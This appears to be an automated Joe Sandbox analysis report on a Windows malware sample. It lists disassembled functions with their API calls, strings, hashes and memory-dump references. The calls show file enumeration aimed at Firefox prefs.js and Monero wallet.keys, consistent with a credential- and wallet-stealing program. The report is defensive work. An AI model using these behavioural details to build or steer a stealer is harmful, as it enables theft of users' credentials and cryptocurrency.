Instruction Fuzzy Hash: 9F6178B1500219BBDB20EBA0DC4AFEE777CBB48701F04859CB64996180EB75EB85CF95

Function 00504570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00504580
RtlAllocateHeap.NTDLL(00000000), ref: 00504587
wsprintfA.USER32 ref: 005045A6
FindFirstFileA.KERNEL32(?,?), ref: 005045BD
StrCmpCA.SHLWAPI(?,00510FC4), ref: 005045EB
StrCmpCA.SHLWAPI(?,00510FC8), ref: 00504601
FindNextFileA.KERNEL32(000000FF,?), ref: 0050468B
FindClose.KERNEL32(000000FF), ref: 005046A0
lstrcat.KERNEL32(?,012DE320), ref: 005046C5
lstrcat.KERNEL32(?,012DD778), ref: 005046D8
lstrlen.KERNEL32(?), ref: 005046E5
lstrlen.KERNEL32(?), ref: 005046F6

Strings

%s\%s, xrefs: 0050461B
%s\*, xrefs: 0050459A

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: a76e69ae162708172d456cbaa1bcc117625352ee0f62b5aa52de7a2cc5b2cb86
Instruction ID: 4562a6b9e38c24f0da68734f845df47d0c83fcaa180f8a99f3f39394373d8b52
Opcode Fuzzy Hash: a76e69ae162708172d456cbaa1bcc117625352ee0f62b5aa52de7a2cc5b2cb86
Instruction Fuzzy Hash: 715167B1500218ABDB20EB70DC8AFEE777CBB58301F408588F64992190EB79DB85CF95

Function 00503EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00503EC3
FindFirstFileA.KERNEL32(?,?), ref: 00503EDA
StrCmpCA.SHLWAPI(?,00510FAC), ref: 00503F08
StrCmpCA.SHLWAPI(?,00510FB0), ref: 00503F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0050406C
FindClose.KERNEL32(000000FF), ref: 00504081

Strings

%s\%s, xrefs: 00503EB7

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: d4bc4824676e8357b42a18afb8254189f19271a53ec07198c5440c130a8f4ea0
Instruction ID: 903e7103fa2bab7c10fcfe81752eaf087825e92b6e0b0351b05637dd5a0d1406
Opcode Fuzzy Hash: d4bc4824676e8357b42a18afb8254189f19271a53ec07198c5440c130a8f4ea0
Instruction Fuzzy Hash: E65146B1900219BBDB24FBB0DC8AEFE777CBB44301F408588B69996080DB75DB858F55

Function 004FED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004FED3E
FindFirstFileA.KERNEL32(?,?), ref: 004FED55
StrCmpCA.SHLWAPI(?,00511538), ref: 004FEDAB
StrCmpCA.SHLWAPI(?,0051153C), ref: 004FEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 004FF2AE
FindClose.KERNEL32(000000FF), ref: 004FF2C3

Strings

%s\*.*, xrefs: 004FED32

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 381f5f73c9f24d0a9ba9565a22093008529cbb21302132b31fc67b80271315a2
Instruction ID: aafc1441c63108a68d04bb386faacd5c25d59beb792e066932fdfca404eab2ca
Opcode Fuzzy Hash: 381f5f73c9f24d0a9ba9565a22093008529cbb21302132b31fc67b80271315a2
Instruction Fuzzy Hash: 60E112729112199AEB54FB60CC56EEE7738BF94300F4085D9B50A620D2EF346F8ACF56

Function 004FF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005115B8,00510D96), ref: 004FF71E
StrCmpCA.SHLWAPI(?,005115BC), ref: 004FF76F
StrCmpCA.SHLWAPI(?,005115C0), ref: 004FF785
FindNextFileA.KERNEL32(000000FF,?), ref: 004FFAB1
FindClose.KERNEL32(000000FF), ref: 004FFAC3

Strings

prefs.js, xrefs: 004FF812

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: df25f514ca1a8bf509a2ea51fc6a7fe55e8639862b2e8e7b65f21a7d514493b9
Instruction ID: f25a41523823b3ffc0f37b196ba5096515f13794b339f92c80d8662bacf06f56
Opcode Fuzzy Hash: df25f514ca1a8bf509a2ea51fc6a7fe55e8639862b2e8e7b65f21a7d514493b9
Instruction Fuzzy Hash: 57B180719002099BDB24FF60DC9AFEE7779BF94300F0085A9A50A961C1EF346B49CF96

Function 004F16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0051510C,?,?,?,005151B4,?,?,00000000,?,00000000), ref: 004F1923
StrCmpCA.SHLWAPI(?,0051525C), ref: 004F1973
StrCmpCA.SHLWAPI(?,00515304), ref: 004F1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004F1D40
DeleteFileA.KERNEL32(00000000), ref: 004F1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 004F1E20
FindClose.KERNEL32(000000FF), ref: 004F1E32

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Strings

\*.*, xrefs: 004F17F1

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 53a8ac0ebf51ccffc92c75c2bbb3505e76ac06ef6c984eea13896f59c2944b6c
Instruction ID: 8bc1e80bfa8c83d8970b91cfc391adb8e92069e2a62ed52f31e94807ecd98ce8
Opcode Fuzzy Hash: 53a8ac0ebf51ccffc92c75c2bbb3505e76ac06ef6c984eea13896f59c2944b6c
Instruction Fuzzy Hash: CF1222719102199BDB55FB60CC9AEEE7B78BF94300F408599B50A620D1EF346F89CF92

Function 004FDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00510C2E), ref: 004FDE5E
StrCmpCA.SHLWAPI(?,005114C8), ref: 004FDEAE
StrCmpCA.SHLWAPI(?,005114CC), ref: 004FDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 004FE3E0
FindClose.KERNEL32(000000FF), ref: 004FE3F2

Strings

\*.*, xrefs: 004FDE26

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 8a9c8e61f914a99f6dd56c9a3206277426b1c92d9e8f06000ac5e9c9978de176
Instruction ID: 6a59c04a57c198ff129662c46e7ff885830b2a5f9cd9823f11beec4b501eae30
Opcode Fuzzy Hash: 8a9c8e61f914a99f6dd56c9a3206277426b1c92d9e8f06000ac5e9c9978de176
Instruction Fuzzy Hash: 05F1B1719102199ADB15FB60CC9AEEE7738BF94300F8085D9B50A620D1EF746F8ACF56

Function 004FDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005114B0,00510C2A), ref: 004FDAEB
StrCmpCA.SHLWAPI(?,005114B4), ref: 004FDB33
StrCmpCA.SHLWAPI(?,005114B8), ref: 004FDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 004FDDCC
FindClose.KERNEL32(000000FF), ref: 004FDDDE

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a1faf237f5c729a97964cc47a05438fc8e5a12235bd016b1fef3384e864afc72
Instruction ID: 4bc52faa628488f5ead158d8e8bde2695461604e57deabaf2ea370117e8918e3
Opcode Fuzzy Hash: a1faf237f5c729a97964cc47a05438fc8e5a12235bd016b1fef3384e864afc72
Instruction Fuzzy Hash: 91916472900209A7DB14FB70DC9ADFD777DBFD4300F40C659B90696185EE38AB098B96

Function 008B566B Relevance: 12.9, Strings: 9, Instructions: 1608COMMON

Download Yara Rule

Strings

\9_, xrefs: 008B58BF
]r6u, xrefs: 008B5748
!Dp6, xrefs: 008B5734
j#, xrefs: 008B6075
N;?, xrefs: 008B5916
zs, xrefs: 008B604B
3{N, xrefs: 008B5DA5
4D;?, xrefs: 008B5AE1
7s?o, xrefs: 008B5781

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Dp6$3{N$4D;?$7s?o$N;?$\9_$]r6u$j#$zs
API String ID: 0-2514805122
Opcode ID: 96a34087d60d4d6e6a54565933b1fe230f5be2e441158eaef01ea288a016802e
Instruction ID: 8c9ed64d594028ca59da0d524dd6a663393cb2ed7e10da2adcd139c524d84522
Opcode Fuzzy Hash: 96a34087d60d4d6e6a54565933b1fe230f5be2e441158eaef01ea288a016802e
Instruction Fuzzy Hash: DCB229F3A0C2149FE3146E2DEC4567ABBE9EFD4720F1A493DEAC4C3740E63598018696

Function 00507B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

GetKeyboardLayoutList.USER32(00000000,00000000,005105AF), ref: 00507BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00507BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00507C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00507C62
LocalFree.KERNEL32(00000000), ref: 00507D22

Strings

/ , xrefs: 00507C7F

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 99adabec429bea8a84424d37266fb85a94421799597e68ab5552c326bff31a21
Instruction ID: ed81176a3b3ae6ac4ed9bea0557e2b677a7cee94f713a51143e7323ad8679dfa
Opcode Fuzzy Hash: 99adabec429bea8a84424d37266fb85a94421799597e68ab5552c326bff31a21
Instruction Fuzzy Hash: F6414A7194021CABDB24DB94DC99BEEBBB8FF58700F208599E409621D1DB742F85CFA1

Function 008B3C2D Relevance: 10.3, Strings: 7, Instructions: 1578COMMON

Download Yara Rule

Strings

*.}, xrefs: 008B3CE2
|tK, xrefs: 008B3F9C
}, xrefs: 008B4BF6
P4\, xrefs: 008B48C3
{c~, xrefs: 008B40F0
0nJ!, xrefs: 008B4882
3%e, xrefs: 008B4498

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *.}$0nJ!$P4\$|tK$3%e${c~$}
API String ID: 0-3869705807
